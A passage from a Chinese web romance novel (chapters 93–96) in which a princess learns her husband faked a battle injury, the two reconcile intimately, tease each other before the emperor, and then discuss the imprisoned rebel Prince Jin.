但颜色深浅不一,有些明显是喷溅上去的,有些是沾染的, 但甲胄并无明显的破口。 “你伤哪儿了?” 谢昀被她看得心虚,知道瞒不过了。迟疑了一下, 慢吞吞抬起左臂, 将护腕往上推了推, 露出小臂上一道约一寸长,只隐隐透出一道红痕的划伤。 那伤口看起来像被什么粗糙的东西刮了一下,别说重伤,寻常百姓切菜不小心划到的口子, 恐怕都比这个深点儿。 “谢昀!”姒华欢咬牙切齿,“这点伤, 这点伤要是再不给我看, 它就要自己愈合了吧!” 一想到刚才自己那撕心裂肺的悲痛,不管不顾的哭喊告白,掏心掏肺的承诺,她恨不得找个地缝钻进去。 混蛋!竟然用这种方式骗她, 看她出丑!看她像个傻子一样,哭得昏天黑地,说了那么多丢死人的话! 姒华欢狠狠瞪了谢昀一眼,再也看不下去他这副装模作样的死样子,愤然一甩衣袖,转身就往门外走。 “诶!”谢昀这下真急了,也顾不上装虚弱了,疼得从床上跳下来,动作利落,几步冲过去,拉住她的胳膊,“好了好了,我错了,我以后再也不骗你了。” “你放开我!”姒华欢用力挣扎,犟着不肯转头看他,眼泪又不争气地涌了上来。 “我不放。”谢昀紧紧抓着她的胳膊。 见她不肯回头,他就绕到她面前,姒华欢立刻把头扭向另一边,他又绕过去,她再转,他再绕。 两个人就跟拉磨似的,在屋子里转了两三圈。 姒华欢转得头晕,终于不转了,转回头,红肿的眼睛狠狠瞪着谢昀。 她抬起手又想打他,可他身上还穿着铁甲,无从下手,最终只能愤愤放下,泪水如决堤般滚落。 “你个混蛋!混蛋!”她哭骂道,“你怎么能这么吓我!你知道我刚才……刚才有多害怕吗?我以为你真的……真的……” 她说不下去了,像个受尽委屈的孩子大哭起来,比刚才以为他死了时哭得还要凄惨,还要伤心。 这哭声哭得谢昀心肝脾肺肾都跟着颤,惭愧不已。他无暇再想其他,抬手就想把她抱进怀里好好哄。 “别碰我!”姒华欢被他贴上来的冰冷铁甲一激,更生气了。用力推开他,转身又要往外走,一边走一边愤愤丢下狠话,“我要跟你和离!我要回宫!我再也不想看见你了!” 一听“和离”和“回宫”,谢昀彻底急了,手忙脚乱地开始解身上甲胄的系扣。 复杂的铁甲平日里需要杜风协助才能脱下,此刻他急得手指都不听使唤,扯了几下没扯开,情急之下直接用力一挣。坚固的甲胄部件竟被他硬生生扯得松动,胡乱卸下来扔到地上。 他只穿着里面单薄的中衣,也不管什么狼不狼狈,一个箭步冲上去,从背后将快要走到门口的姒华欢紧紧抱住。 谢昀身高臂长把她牢牢锁在怀里,下巴抵在她的颈窝,声音闷闷的:“是我错了,我太混账了。你打我吧,骂我吧,怎么都行,就是别说和离,别说不想见我……” 他抱得很紧,姒华欢挣扎了几下,没挣开。但感受到他胸膛传来的急促有力的心跳和怀抱的温度,心中的怒火渐渐偃旗息鼓,只剩下满满的委屈和后怕。 她不再挣扎,也不再大哭,只是转过身把脸埋在他胸口,小声地啜泣着,肩膀一抽一抽的,眼泪浸湿了他的衣襟。 这样的哭法让谢昀更加心疼。他抱着姒华欢又是道歉,又是保证,变着法儿地低声下气哄着。 从“以后绝对不再犯”到“你说往东我绝不往西”,才哄得姒华欢心头的委屈慢慢散了些许。只剩下眼眶红红,鼻尖红红,时不时抽噎一下。 见她情绪平复了些,谢昀心中大定,胆子也大了些。他圈着她腰的手臂微微收紧,用脸蹭了蹭她的侧脸,低低地问:“你刚刚说的,可要说话算话。” 姒华欢吸了吸鼻子,脑子还因为大哭和情绪大起大落有些昏沉,闻言茫然:“我说什么了?” 谢昀眨眨眼,提醒她:“你说只要我活下来,什么都原谅我,我想做什么都答应我,还有……让我搬去主院……” 姒华欢这才后知后觉,想起自己情急之下都说了些什么胡话。 她嘴上坚决不肯承认,把头一偏哼道:“我可没说过!你有证据吗?谁听见了?” 谢昀看着她这副明明心虚偏偏嘴硬的模样,只觉得可爱得紧。 他抬手抚去她眼角的水润,笑道:“堂堂康乐公主金口玉言,怎么能赖账呢?” 姒华欢被他手指摸得有些痒,拍开他的手,“没证据就是没说过!” 她眼睛哭得微微红肿,像两颗小桃子般,睫毛上还挂着未干的泪珠,鼻尖红红,嘴唇因为方才用力哭泣而显得格外嫣红湿润,整个人都透着一股惹人怜惜的娇憨。 谢昀心头一软,又泛起阵阵涟漪。 他低下头,情不自禁地想吻她。 姒华欢及时抬手,挡住了他凑近的脸,掌心贴着他的下巴,皱着鼻子嫌弃道:“你脏死了,离我远点!” 谢昀动作一滞,这才想起自己是刚才从战场直接“运”回来的,身上和脸上沾染了不少血污和尘土,确实不太适宜。 他有些遗憾地退开一点,目光在她近在咫尺的容颜上流连,又不甘心,凑到她面前,眼睛亮晶晶地说:“那我先去沐浴,很快就好,不会让你等太久。” 姒华欢被他这直白的眼神看得脸颊发热,用力推开他,嘴里嘟囔道:“谁答应等你了?少自作多情……” 谢昀被她推得后退一步,也不生气,只是看着她笑。 那笑容里满是得逞的愉悦,和毫不掩饰的爱意,看得姒华欢心跳漏拍,慌忙移开视线。 谢昀转身去了浴室。姒华欢低头看看自己身上的衣裙,身上被谢昀抱过,不可避免地也沾染了些许他身上的血污和尘土。她皱了皱眉,也回到主院沐浴更衣。 温热的水流洗去积攒了两天的疲惫,也让她彻底冷静下来。换上干净柔软的寝衣,坐在镜前,由着魏紫用干布为她擦拭湿润的发尾。 “殿下,侯爷来了。”魏紫在她耳边轻声禀报,手上动作未停。 姒华欢从镜中看到门口的身影。谢昀果然来得很快,沐浴过后,换了一身月白色的锦袍,头发半干,用一根简单的玉簪慵懒地束着,多了几分清贵公子的温润。 她本可以让人拦着不让他进来的,毕竟账还没算完呢,但话到嘴边又咽了回去。她其实很想见到他,而且心中还有一些疑问。 宫里的事情到底如何了?晋王抓到了吗?父皇母后他们真的无恙?林珩桑进那些人又如何了?她都想知道。 谢昀自己掀帘走了进来,看到姒华欢正坐在镜前,一头乌黑的长发散在背后,发尾还微微潮湿着。魏紫正拿着玉梳,小心翼翼地为她梳理。 谢昀很自然地走过去,从魏紫手中接过梳子,温声道:“我来吧,你们先下去。” 魏紫偷偷看了一眼自家公主的脸色,见公主没说话,但也没反对,便抿唇一笑,福了福身,带着屋里其他侍候的丫鬟轻手轻脚退了出去,还贴心地将门轻轻带上了。 室内一下子安静下来,铜镜里映出两人一坐一站的身影。 男子高大挺拔,微微低头,神色专注;女子身姿纤柔,侧脸在烛光下柔和静谧。 姒华欢通过镜子看谢昀。他梳头的动作有些生疏,但很小心,生怕扯疼她。 她本该生气的,气他又骗她,气他自作主张涉险,气他害她那般失态痛哭。 可当她的目光真的落在他脸上,一看到他好好地站在她面前,心头便怎么也聚不起怒火,反而泛起一阵阵酸软。 他看起来真的很累,眼底有乌青,下颌线条也比往日更显锋利。他刚刚经历了一场生死搏杀,摆平了一场叛乱,此刻却温柔地站在她身后为她梳头。 她心底只有一个声音在叫嚣:抱抱他。 他只是站在那里,就让她觉得心疼,觉得怜惜,觉得想要靠近。 窗外,雪光映着月色,一片清冷。屋内,炭火熯炽,暖意融融。 姒华欢蓦地站起身,动作有些突兀。 谢昀梳发的手一顿,疑惑地看向镜子中的她:“怎么了?扯痛了?” 姒华欢没说话,只是转过身面向他。 然后在谢昀略带诧异的目光中,伸出手臂,环住了他的腰身,将脸轻轻贴在了他的胸口。 这是一个安静而依恋的拥抱。 谢昀微微愣住。他手里还握着玉梳,身体微微僵直,有些拿不准她这突如其来的温柔是什么意思。 刚才不还气鼓鼓的要和他和离吗?怎么沐浴一下的功夫就…… 他正要开口询问,却感觉到胸前的衣襟传来一阵失意,怀里的身体也在微微颤抖。 她又哭了? 谢昀顿时有些无措,连忙放下梳子,双手捧起她的脸,果然看到她又红了眼眶,泪水无声地滑落。 “怎么了?怎么又哭了?小祖宗,别哭了,就算是水做的人,这样哭下去,也要干了。” “是我不好,都是我的错,我不该自作主张不该骗你上船,又自己溜回来。我当时是真的怕,怕你知道实情后不肯离开,怕你留在京城会有危险。我知道我做得不对,我以后绝不会瞒你任何事,我发誓……” 他语速很快,一股脑地认错、解释,恨不得把心掏出来给她看。 可是姒华欢一个字都没听进去,她只是仰着脸任由眼泪流淌,目光有些迷蒙地看着他焦急解释的嘴唇。 他好像真的很怕她生气,很怕她离开。 这一点认知让她的心软成了一滩水,也酸涩得厉害。 她忽然抬起手,用手指轻轻按住了他的唇,打断了他滔滔不绝的忏悔。 谢昀的声音戛然而止,不明所以地看着她。 姒华欢吸了吸鼻子,轻声问了一个全然不相干的问题:“谢昀,你……什么时候喜欢我的?” 第94章 “毕竟,我只有你了。”…… 谢昀所有的话都卡在了喉咙里, 他愣住了。 什么时候? 他自己也说不清了。 或许是幼年初见,她像个粉团子一样,头上插了满头的宝石金簪, 手上和脖子上戴得金光闪闪, 瞪着大眼睛看他; 或许是年少时,她不服输, 对他说“我一定会超过你的”时亮晶晶的眸子; 又或许是她及笄那日, 穿着华服, 在万众瞩目中回眸一笑, 却唯独对他做了个小小鬼脸的时候…… 时间太久,点点滴滴,早已汇入洪流, 深入骨髓。 他沉默了很久,久到姒华欢以为他不会回答, 他才缓缓开口。 “很久了。”他低声回答, “久到……我自己都记不清具体是哪一天, 哪一刻了。” 这个答案,比任何具体的时间点都有力量。 姒华欢的心狠狠一颤。 “那你……之前怎么不说?”她泪眼婆娑地看着他,不解,也带着一丝埋怨。 谢昀看着她被泪水洗得格外清澈明亮的眼睛, 苦涩地笑了笑,抬手, 用拇指指腹轻柔地拭去她脸颊的泪痕。 “我不知道。”他诚实地说, “我不知道说出来以后,我们的关系是会变好,还是会变得更差。” 他顿了顿,声音轻得近乎叹息:“毕竟, 我只有你了。” 父亲母亲早已战死沙场,谢家虽有旁支,但血脉至亲早已凋零。訾家虽势大,但根在江南。 这世间,能让他毫无保留去爱、去守护、去牵挂的,唯有怀中这个人。 他怕一旦说破,连那样看似别扭的相处都会失去。 “我只有你了”这五个字像五根细细的针,精准刺入姒华欢心中最柔软的地方,带起一阵尖锐的心疼。 她忽然意识到一件事——她可以没有谢昀,但谢昀不能没有她。 “骗子……大骗子……”姒华欢将脸埋回他怀中,声音闷闷的,带着哭腔,嗔怪着,拳头不轻不重地捶了他两下。 她嘴上抱怨着,心里那点对他生气的念头早已烟消云散,只剩下满满的怜惜。 她甚至懊恼起自己从前对他的恶劣态度,懊恼那些因偏见而生的疏离和误解。 她应该对他好一点的,应该早点发现他的心意,应该补偿他。 这个念头驱使着她,在他怀里微微踮起脚尖,仰起脸,主动凑上去,轻轻印下一吻。 这个吻来得突然,带着泪水的咸涩和她特有的香甜,生涩,却无比认真。 怔愣过后,谢昀轻轻一哂,低下头,深深地回应了这个吻,将她未尽的话语和所有的情绪都吞没在唇齿之间。 这个吻带着彼此心意终于毫无隔阂相通的炽热,也带着压抑了太久的情潮,汹涌而激烈。 谢昀吻得又深又久,仿佛要将她拆吃入腹,又仿佛要通过这个吻确认她的存在,确认她的心意。 他故意不给她换气的机会,直到她实在受不住,掠夺完最后一丝空气,才稍稍退开一点,却仍流连地轻啄她的唇角。 姒华欢找回一点意识,张嘴,在他下唇上不轻不重地咬了一下。 “嘶……”谢昀吃痛,低呼一声,眼神却更加幽暗深邃。 他舔了舔下唇被她咬过的地方,露出一丝蛊惑的笑意,又低头,覆上了那已经被他吻得嫣红微肿的唇瓣,比刚才更加温柔缱绻。 不知何时,两人已从镜前挪到了床上。 姒华欢的寝衣衣襟有些松散,乌黑的长发铺散开来,衬得她肌肤如雪,脸颊绯红。眼眸因为情动而氤氲着水汽,迷离失焦。 谢昀撑起身,自上而下地注视着她。月白的衣襟不知何时已经散开,露出线条优美的锁骨和一小片结实的胸膛。 他伸出手,手指轻轻抚过她滚烫的脸颊,滑落到她纤细的脖颈,最后一路落到她已经软得不成样子的腰肢。指尖的温度透过薄薄的寝衣,烫得她微微战栗。 他的声音比平时更低哑,带着情.欲浸润后的磁性,一字一句,叩在她心弦上:“要吗?” 方才的怜惜、懊悔还有想补偿他的劲,混杂着被他撩拨起的情潮,让姒华欢做了一个大胆的决定。 她伸手,用力推了推谢昀的肩膀。 谢昀顺势微微撑起身体,有些不解地看向她。 姒华欢没有解释,只是抿了抿唇,借着这个空档,有些笨拙地翻了个身。 柔软的寝衣随着动作滑落肩头,露出更多莹润的肌肤。她跨坐到他腰间,居高临下地看着他。 谢昀先是一愣,很快明白了她的意图。 他眼中闪过一丝讶异,而后被更深的笑意和纵容取代。 他松开掐着她腰的手,改为虚虚地扶着她,一副任君采撷的姿态。只是那双深邃的眼眸依旧牢牢地锁着她,像暗夜中伺机而动的猎豹。 姒华欢脸颊烧地厉害,心跳如擂鼓:“你……你别动。” 她避开他过于灼人的视线,深吸一口气,开始尝试。 然而这种事情远非她想象中那般简单。 生涩、慌乱、不得章法。 姒华欢学着他之前的样子,低下头,主动去吻他的唇,他的喉结。 发丝垂落,扫过他的脸颊和脖颈,带着沐浴后的清香和一丝潮湿的水气,痒痒的,撩人心弦。 她试图主导节奏,却总是磕磕绊绊,像只迷路的小兽,徒劳地在他身上制造着微不足道的摩擦。 谢昀任由她动作,甚至配合地仰起头,让她更方便“为所欲为”。只是那双眼睛始终半阖着,浓密的睫毛在眼下投上淡淡的阴影,掩住眸底翻涌的暗潮。 放在她腰侧的手,偶尔会极轻地摩挲一下,像是在鼓励,又像是在无声的引导。 然而姒华欢那点主导的雄心壮志,很快就遭到了现实的无情打击。 没坚持多久,她就累得气喘吁吁。原本挺直的腰肢开始发软,手臂也酸软无力。 终于,她累得脱了力,身子一软,整个人像被抽去了骨头,软趴趴地伏倒在他坚实滚烫的胸膛上。 谢昀喉间溢出一声低沉而愉悦的轻笑,那笑声震动着胸膛,传递到姒华欢身上。 “这就累了?”谢昀抬手抚上她汗湿的鬓角,将几缕粘在颊边的发丝温柔地别到耳后,指尖流连在她耳廓,声音宠溺,还带着一丝戏谑,“不是要自己来?” 姒华欢被他笑得更加羞窘,把脸埋得更深,不肯抬头,耳根红得滴血,娇声娇气地抱怨:“你再说我就要走了。” “这是你的院子,你要走到哪儿去?”谢昀笑着低声问。 “……我回宫去。”姒华欢哼道。 “哦,”谢昀扶在她腰侧的手微微用力,将她往上托了托,“原来是想换个地方。也行。” “你——”姒华欢在这方面的脑子确实转得不如谢昀快。 谢昀摩挲在她腰际的手上动作未停,不再满足于仅仅安抚,将她更紧地按向自己。另一只手则绕到她身前,灵巧地挑开她寝衣早已松散的系带。 他一个利落的翻身,瞬间便将两人的位置彻底调转,轻易便颠覆了方才姒华欢拿走的那点主动权。 不再是浅尝辄止的试探,吻密集而炽热地落下,每一寸肌肤都被烙上属于他的印记和温度。 姒华欢彻底失了力气,只能随着他的节奏沉沦。 先前那点主动的尝试,此刻成了最鲜明的对比,更衬托出他此刻的游刃有余和强势。 “谢昀……”姒华欢无意识地呼唤着他的名字。 “嗯,我在。”他低下头吻去她眼角的泪珠,动作机极其温柔。 他注视着她渐渐失焦,只盛满他倒影的双眸,心里除了满足,还激起了更深的渴望。 他放缓了节奏,却加重了力道,每一次都带着不容置疑的占有和极致的缠绵。手指穿过她汗湿的长发,扣住她的后颈,让她更贴近自己,仿佛要将她彻底融入骨血。 他忍不住唤道:“蓁蓁……我的蓁蓁……” 从小被唤到大的小字,用他因情动而沙哑的嗓音唤出来,有种别样的感觉。 这声低唤让姒华欢浑身一颤,攀着他脖颈的手臂收紧,将脸埋进他肩窝,发出一声小猫似的回应。 新年的第一场雪,直到黎明将至,方渐渐停歇。 姒华欢像一朵被雨露彻底滋润后,又历经风雨,慵懒舒展的花,伏在谢昀汗湿的胸膛上慢慢平复着。 最后,她在彻底失去意识前模糊地想—— 二十岁,果然是男人最好的年纪。 餍足的一夜过去,窗外天光早已大亮。谢昀先醒了,侧卧着,支着头,静静看着枕边人恬静的睡颜。 姒华欢睡得还很沉,嘴唇微微嘟着,脸颊上还残留着昨夜情动时的淡淡红晕,以及几处他留下的暗红色痕迹。 他眼神柔软,指尖轻轻抚过她散在枕上的乌发,心中被一种前所未有的平静与满足填满。 过了一会儿,宫里来人传了陛下口谕,宣他们二人入宫。 谢昀以风雪刚歇,公主体弱不宜出门为由,将入宫的时间推至午后。 打发了宫里的人,他又回到床边。看着姒华欢依旧熟睡的模样,实在不忍心叫醒,索性吩咐小厨房将早膳一直温着,自己也重新躺回她身边,将她搂进怀里,陪着她一起补眠。 直到日上三竿,姒华欢才悠悠转醒。 迷迷糊糊睁开眼,姒华欢的眼神起初是茫然的,待看清近在咫尺的谢昀含笑的眉眼,昨夜那些火热缠绵的回忆瞬间回笼。 她扯高被子,将自己连头带脸蒙住,阻隔他的视线。 “醒了?”谢昀低笑,伸手将人捞进怀里,在她发顶亲了亲,“饿不饿?午膳已经备好了。宫里来传过话,陛下召见,不过不急,等你歇好了我们再进宫。” 听到父皇召见,姒华欢这才慢吞吞地起身。 即便是浑身酸软,这次她也没再羞恼。不同于前几次陌生的感觉,她不仅开始有些习惯了,还深深体会到了其中乐趣。 在谢昀的服侍下,姒华欢慢悠悠用了午膳,精神恢复了不少,便唤了姚黄和魏紫进来梳妆。 她坐在镜前由着姚黄为她梳头,魏紫在一旁挑选首饰。 目光不经意扫向窗外,就见院子里人影憧憧,几个小厮正抬着箱笼往她这主院搬。谢昀背着手站在廊下指挥,一副喜气洋洋、干劲十足的模样。 姒华欢挑了挑眉,没说什么,心里却有些好笑。 这家伙,动作倒是快,就惦记着昨日说让他搬到主院的事呢。 她目光落回镜子里,注意到了自己脖颈上几处颇为醒目的红痕。 “呀……”魏紫也看到了,轻呼一声,抿嘴偷笑,拿过脂粉,仔细为她遮掩。 这痕迹不深不浅,偏偏位置尴尬。脂粉铺了几层,仍能看出些许痕迹。 姒华欢正对着镜子蹙眉,谢昀已指挥完毕,掀帘走了进来。 他换了身崭新的青色锦袍,衬得人越发挺拔精神,眉梢眼角都带着藏不住的春风得意。 他走到姒华欢身后,俯身看着镜中的她,笑问:“怎么还没好?可是挑花了眼?” 姒华欢从镜子里瞪他,指了指脖子上那几处:“都怪你,你看,脂粉都遮不住,这样怎么进宫。” 谢昀凑近看了看,那几抹红痕在雪肤上确实刺眼。他非但不觉得抱歉,眼底笑意反而更深。 他心里泛着甜,面上却一本正经地提议:“遮不住便不遮了,天气冷,围个风领吧。正好前阵子得了块极好的火狐皮,让人赶着给你做了个风领,还没来得及给你。” 他转身吩咐了一声,很快便有侍女捧着一个锦盒进来。 打开一看,里面是一条风领,毛色赤红如火,均匀光亮,没有一丝杂毛,一看便知是珍品。 谢昀亲手为她围上,火红的狐毛衬得她脸颊愈发白皙莹润,双眸含水,明艳不可方物。 谢昀看着,眸光又深了些,喉结微动。 “喜欢吗?”他强压下去翻涌的念头,问道。 姒华欢摸了摸那顺滑的皮毛,心中自然是喜欢的,嘴上却哼道:“马马虎虎吧。” 谢昀哪里看不出她的口是心非,笑着捏了捏她的耳垂。 姒华欢又转头对着镜子照了照,很是满意,但想起缘由,还是回头嗔他:“以后不许再留在脖子上了!冬天还能用风领遮一遮,夏天怎么办?” 谢昀闻言,笑得促狭:“还是公主殿下深明远虑,都想到那么远的夏天去了。” 言下之意,她已经预想了接下来还会有很多个火热的夜晚。 姒华欢的脸“腾”一下变得跟颈间的火狐毛一样红,抬手就要打他,谢昀笑着避开,屋内一片笑闹声。 第95章 让人看见合适吗? 好不容易梳妆妥当, 两人乘马车入宫。 紫宸殿外,当值的内侍见了他们,恭敬行礼:“公主殿下, 侯爷, 陛下此刻正在皇后娘娘宫中,吩咐说若您二位到了, 可先在殿内稍候, 陛下片刻便回。” 姒华欢点点头, 与谢昀一同走进空无一人的紫宸殿。殿内燃着地龙, 温暖如春。 等了约莫一盏茶的功夫,还不见人来,姒华欢有些无聊。 忽然, 她听到殿外隐约传来一阵响动,似乎是父皇和母后还有哥哥的声音, 正由远及近而来。 姒华欢眼珠一转, 起了点玩闹的心思, 拉起谢昀,悄声道:“我们躲到屏风后面去,等他们进来吓他们一下。” 谢昀挑眉,看着难得露出如此孩子气一面的她, 纵容地笑了笑,任由她拉着, 躲到了殿内那扇巨大的紫檀木雕花屏风之后。 两人刚刚藏好, 殿门就被推开了,脚步声和说笑声一同传了进来。 姒华欢躲在屏风后,屏气凝神,竖着耳朵听外面的动静, 准备挑一个合适的时机跳出去。 等着等着,她忽然想起什么,想回头跟谢昀说句话。 一转头,发现谢昀离她极近,几乎是贴着她站的。 屏风后的空间本就有限,他高大的身躯将她笼罩。因为要隐藏,两人挨得极近,她周身都萦绕着他身上清冽的白兰香,与她的甜香纠缠在一起。 四目相对,近在咫尺,姒华欢眼中还残留着方才如小狐狸般的狡黠亮光,唇瓣微张,气息轻轻拂在他的脖颈间。 谢昀的目光落在她嫣红的唇瓣上,喉结轻轻滚动了一下。 方才在梳妆时被强行压下的某些念头,在此刻隐秘安静的空间里,轻而易举地复燃,且愈烧愈烈。 暧昧的气息,无声地升温,发酵。 姒华欢察觉到他眼神的变化,心口一跳,刚想说“你别乱来”,谢昀已经情不自禁地缓缓低下头,向她吻下来。 然而,就在双唇即将相贴的刹那,外面传来嘉平帝洪亮的声音:“蓁蓁和景初那小子还没到吗?不是说已经进来了?” 是父皇! 被发现了怎么办! 姒华欢瞬间从暧昧刺激的氛围中惊醒,条件反射地一把将谢昀推开! 谢昀正沉浸在那个偷来的浅吻里,毫无防备,被她推得整个人向后踉跄了好几步,脚下不知绊到了什么,“噗通”一声,结结实实地跌坐在地。 姒华欢推完人,自己也吓了一跳。 看着谢昀呆坐在地的模样,又惊又慌又想笑,手足无措地站在原地。一时不知是该先去拉他,还是该立刻整理表情出去见父皇。 刚要落座的嘉平帝、皇后和姒华容三人,看见从屏风后飞出来的谢昀:“……?” 只见他们那位平日里游刃有余的女婿,此刻正毫无形象地跌坐在地上,一手撑着地,表情古怪,嘴唇微张,像刚才正要说什么或做什么,却被强行打断。 姒华欢藏在屏风后面,假装什么事都没发生,非常刻意地抬手掩唇,轻轻咳嗽了一声,转过头假装欣赏屏风上的雕花,眼神却飘来飘去,就是不敢看地上的谢昀。 嘉平帝、皇后和姒华容三人转过屏风,看到的便是这样一幅古怪的画面。 这气氛……着实有些诡异。 皇帝挑了挑眉,目光在女儿通红的脸和女婿坐在地上幽幽目光之间打了个转,率先打破沉默:“景初,你这是怎么了?地上凉,快起来。” 姒华欢心头一紧,生怕谢昀说出什么惊人之语,抢在他前面开口,语速极快:“没,没什么,他就是……就是没站稳,不小心摔了一下!” 说完还用力点了点头,仿佛这样就能增加可信度。 嘉平帝、皇后和姒华容交换了一个心照不宣的眼神。 看着姒华欢这此地无银三百两的模样,还有谢昀落在她身上带着三分幽怨七分无奈的小眼神,还有什么不明白的? 定是这小两口不知又因为什么闹了别扭,推搡间闹出了这笑话。 皇后抿唇一笑,优雅地移开目光。姒华容握拳抵唇,轻咳一声,掩饰住差点溢出的笑声。 嘉平帝则是“哦”了一声,拉长了调子,慢悠悠地走到上首的龙椅坐下,善解人意道:“原来是不小心摔了,年轻人下盘可得稳当些。起来吧,都坐,都坐。” 地上,谢昀依旧没动,对皇帝的话恍若未闻,目光依旧胶在姒华欢脸上。 他慢条斯理地抬起一只手臂,掌心向上,朝着姒华欢的方向伸着,意思很明显:拉我起来。 姒华欢被他看得脸颊更热,尤其是接收到了父皇母后和哥哥那带着挪揄的目光,更是羞窘,小声呛他:“你好端端有手有脚的,干嘛让我拉你,自己起来!” 谢昀的手依旧悬着,分毫未动,声音带着点无奈,又带着点委屈:“是你推的我,自然得你负责到底。” “负责”二字,他咬的格外清楚。 同样,姒华欢也清楚地听出来,此“负责”非彼“负责”,谢昀故意调戏她呢。 姒华欢气得牙痒痒,却又无可奈何,众目睽睽之下,总不能真让他一直坐在地上。 她狠狠瞪了谢昀一眼,翻了个白眼,终是不情不愿地走上前伸出手,没好气地说:“起来!” 谢昀眼中飞快地掠过一丝得逞的笑意,手指搭上她的掌心。 就在姒华欢用力想将他拽起时,他却像没收住力道,借着她的拉力,猛地起身。 非但没有立刻站稳,反而顺势向前欺近一步。 姒华欢猝不及防,被他带着向后踉跄,后背一下子抵在了后面的桌沿上。 而谢昀的双臂已然撑在了她身体两侧的桌面上,将她圈在了自己胸膛与桌子之间狭窄的空间里。 “你——”姒华欢心中一惊,低声带着警告。 虽然此刻他们的身影被屏风完全遮挡,但毕竟就几步的距离,很容易就会被发现。 谢昀微微低头,气息拂过她额前的碎发,用只有两人能听清的音量,慢悠悠地问:“方才,为何推我?” 姒华欢被他圈在方寸之地,心中担忧着此刻暧昧的姿势万一被外面三人发现怎么办。 她又气又急,压低声音反击:“你还好意思问?你觉得那种情形下,让人看见合适吗?” “哦?”谢昀挑眉,眼底的笑意更深,戏谑道,“我们不是夫妻吗?于情于理,什么做不得?” 他顿了顿,目光在她突然睁大的眼睛上流连,声音压得更低:“况且……做都做过了。” 他轻飘飘地吐出最后五个字,成功让姒华欢喉头一哽,一张脸涨得通红,半句话也反驳不出来,只能一瞬不瞬地瞪着他,那双漂亮的眼睛里像是燃着两簇小火苗。 像只被惹急了,却又不敢上前,只能虚张声势炸毛的小猫。 谢昀看着她这副模样,心里痒得厉害,觉得可爱极了,唇角不受控制地勾起愉悦的弧度。 突然,眼前那张美艳又气鼓鼓的小脸一下子消失了。 谢昀一愣,还没反应过来,只见姒华欢毫无预兆地蹲下身,灵巧的一个躬身,从他手臂下方的空隙里钻了出去。 等谢昀回过神,姒华欢已经站到了离他几步远的安全距离,正回头看他。 她抬手理了理微微凌乱的髻发,下巴微扬,丢给他一个混合着得意和挑衅的眼神,冲他皱皱鼻子,翩然转身,脚步轻快地绕过屏风走向帝后方向。 三人坐在座位上静静喝茶,谁也没有问小两口在屏风后磨叽什么。 嘉平帝将女儿和女婿这番眉来眼去,你追我赶尽收眼底。 见女儿走过来,脸颊犹带粉晕,眼神明亮,精神头十足,显然没受什么委屈,反倒是把谢昀那小子治得一愣一愣的,心中既欣慰,又有点不是滋味。 他故意哼了一声,端起皇帝的架子,对走到近前的女儿道:“唉,果然是女大不中留,父皇想你了,派人去召入宫,都得等到下午。此一时彼一时啊,朕这心里,痛啊!” 说着,还故作心痛地捂了捂心口,演技颇为浮夸。 姒华欢刚在谢昀那里扳回一城,心情正好,见父皇又开始演,也不甘示弱。 她抬起小脸,开始翻旧账:“父皇还说呢!您和谢昀合起伙来骗我的事,我还没跟您算呢!” “先是装病吓我,再时和谢昀串通好设计抓叛贼,把我蒙在鼓里耍得团团转!这笔账怎么算?” 嘉平帝被她这么一控诉,脸上的沉痛顿时僵住,眼神飘忽了一下,端起茶盏,战术性喝水。 “这个……咳咳……蓁蓁啊,此事乃是不得已而为之,是为了大局着想,为了你的安全嘛……” “你看,现在不是都好好的,叛贼伏诛,京城安稳,你也平安无事……”嘉平帝试图打哈哈蒙混过关。 姒华欢撇撇嘴,“哼”了一声。 刚刚来时的马车上,她已经问过谢昀,之前为何将她蒙在鼓里。 起初谢昀还不愿说实话,在她的逼问下,终于心虚地说,是因为她喜形于色,怕被别人看出来他们另有计划。 也不完全算是说错,她便暂且放过他们。 她一回头,就撞见谢昀别有深意的眼神。 姒华欢心中没由来的一阵慌乱,慌忙移开视线,假装去看母后今天戴的簪子,耳根却又悄悄红了。 帝后看着这对小夫妻之间流转着藏也藏不住的情意,含笑对视一眼。 在一片温馨中,姒华欢忽然想起来,牢中关押着的晋王、林珩和桑进三人。 是得将此事做个了结了—— 作者有话说:如果有宝宝今天上午没看到更新,我解释一下,我昨晚是更了的,更了没多久一直被红锁,改了好几次,一直到下午才解锁QAQ 第96章 一起泡温泉吧~ 从紫宸殿出来, 冬日的阳光照在尚未完全清扫干净的宫道积雪上,反射出冷冷的光。 姒华欢与谢昀并排走在宫道上,她沉默了片刻, 轻声开口:“晋王, 还有林珩他们现在关在何处?” “天牢。”谢昀言简意赅,目光落在她有些凝重的脸上, “最深处单独关押, 重兵把守。” 姒华欢“嗯”了一声, 顿了顿, 又问:“你会去审吗?” “会。”谢昀答得干脆,“有些细节必须厘清,还有些同党需要挖出来。” 谢昀停下脚步, 看向她:“你想去吗?” 姒华欢认真地想了想,然后摇了摇头:“不去了。” 那种阴暗、血腥、充满绝望与疯狂的地方, 她不想踏足。那些人的脸无论是伪善的还是狰狞的, 她也不想再面对。 “你审的时候替我问问就好。”姒华欢语气平静, “我想知道,晋王,他到底为什么要这么做。” 这个问题困扰她许久。她记忆里那个慈爱的皇叔,怎会走到如今这个下毒弑君、勾结逆党的地步。 谢昀看着她眼中的困惑和难过, 伸出手,将她微凉的手握入自己温暖的掌心。 “蓁蓁, 晋王并非突然变成这样的, 他一直都是如此。” 姒华欢愕然抬头。 “是他太会伪装,藏得太深,这不怪你。若非此次他自己按捺不住露出马脚,只怕也难以完全窥破他数十年的伪装。” 姒华欢迷惑皱眉:“什么?” 谢昀解释道:“他认为自己是先帝长子, 比陛下更有资格坐上那个位置。” “晋王自幼聪颖,心高气傲,岂会甘于人下。他看似淡泊,安享富贵,实则从未真正放下过对皇位的觊觎。他认为自己是长子,其文韬武略又不输今上,只是输在了出身和时机。” “陛下待他宽厚,在他看来,或许更像是一种施舍,是胜利者的炫耀。至于他的儿女受罚,那或许是导火索,加深了他的怨恨,但绝非根源。真正的根源,是他的自以为是。” “他的扭曲与野心是经年累月滋生出来的,与你无关,与陛下待他如何也无关。有些人,注定无法餍足。” 姒华欢怔怔地听着。 谢昀的话打开了她心中某个一直拧着的结。 原来如此……不是突然变坏,而是原本就坏。 记忆里那些温情,从一开始,就是精心表演的戏码。 这让她心底发寒,却也松了一口气——不是她或者父皇做错了什么,导致了亲人的背叛。 “那林珩呢?”她吸了口气,问出下一个重要的问题,“他为什么会在角楼上?他也是晋王的人?” 林珩在她的印象中一直都是温文尔雅的,甚至可以说是有些讨人喜欢的,还曾深夜来救过她—— 不对,现在想来,或许那次也是他有意而为之。 